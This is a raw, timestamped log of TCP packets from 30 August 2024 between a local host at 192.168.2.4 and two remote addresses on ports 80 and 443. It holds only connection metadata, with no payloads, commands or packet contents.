Aug 30, 2024 06:17:04.839997053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840008020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840018988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840084076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840084076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840156078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840167046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840183020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840193987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840204954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840214014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840220928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840220928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840224028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840250015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840291977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840296030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840310097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840318918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840328932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840329885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840358973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840373993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840470076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840487003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840498924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840508938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840517998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840528965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840538979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840563059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840563059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840563059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840575933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840614080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840625048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840635061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840662956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840672016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840799093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840809107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840817928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840828896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840847015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840847015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840871096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.840959072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840970993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840980053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.840989113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841001034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841002941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841012001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841022015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841025114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841032028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841042042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841043949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841053963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841065884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841092110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841103077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841111898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841115952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841121912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841137886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841161013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841285944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841296911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841310978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841321945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841332912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841336012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841342926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841353893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841361046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841362953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841375113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841383934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841384888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841394901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841397047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841404915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841440916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841442108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841442108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841451883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841461897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841473103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841479063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841483116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841494083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841505051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841514111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841515064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841525078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841526031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841535091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841542959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841546059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841556072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841561079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841566086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841573000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841576099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841602087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841639996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841756105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841766119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841799974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841819048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841918945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841928959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841945887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841959000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841963053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.841972113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841981888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841993093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.841993093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842004061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842005014 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842014074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842022896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842044115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842047930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842047930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842063904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842101097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842237949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842251062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842258930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842283964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842313051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842382908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842392921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842402935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842432976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842453957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842575073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842586040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842595100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842606068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842612982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842614889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842624903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842632055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842632055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842637062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842648029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842659950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842669964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842677116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842677116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842679977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842696905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842700005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842710018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842710972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842751980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842751980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.842876911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.842926979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.843056917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843067884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843076944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843087912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843097925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843107939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843113899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.843113899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.843123913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843135118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843135118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.843163013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.843193054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.843219995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843230963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843241930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843251944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.843286991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.843286991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.889178991 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.889218092 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.889240980 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.889246941 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.889269114 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.889285088 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.889543056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.889554024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.889561892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.889570951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.889580965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.889585018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.889597893 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.889605045 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.889621019 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.889624119 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.889656067 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.889662981 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.889672041 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.889803886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.889813900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.889822960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.889847040 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.889847994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.889857054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.890192032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.890201092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.890233040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.890386105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.890396118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.890407085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.890418053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.890424967 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.890428066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.890438080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.890440941 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.890469074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.890516996 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.890531063 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.890569925 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.890575886 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.890597105 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.890615940 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.890875101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.890918016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891035080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891046047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891053915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891066074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891073942 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891074896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891086102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891087055 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891098022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891128063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891226053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891236067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891242981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891252995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891263962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891266108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891273022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891279936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891288042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891297102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891300917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891316891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891344070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891360044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891371012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891392946 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891412020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891570091 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891581059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891588926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891598940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891613960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891642094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891866922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.891905069 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.891941071 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.891961098 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.891990900 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.891998053 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.892013073 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.892028093 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.892318010 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.892333984 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.892365932 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.892371893 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.892396927 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.892409086 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.892442942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.892477989 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.892772913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.892782927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.892796040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.892805099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.892810106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.892817020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.892824888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.892848969 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.892870903 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.892970085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.892980099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.892988920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.892998934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893007040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893007994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893017054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893026114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893032074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893034935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893043995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893054008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893064976 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893064976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893074036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893081903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893090010 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893099070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893107891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893115997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893115997 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893130064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893141031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893157959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893167019 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893167973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893177032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893188000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893197060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893203974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893210888 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.893228054 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.893246889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893265009 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.893273115 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.893282890 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.893316031 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.893862963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893872976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893894911 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.893906116 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.893908978 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.893942118 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.893948078 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.893955946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893956900 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.893965006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893974066 CEST	80	49735	147.45.44.104	192.168.2.4
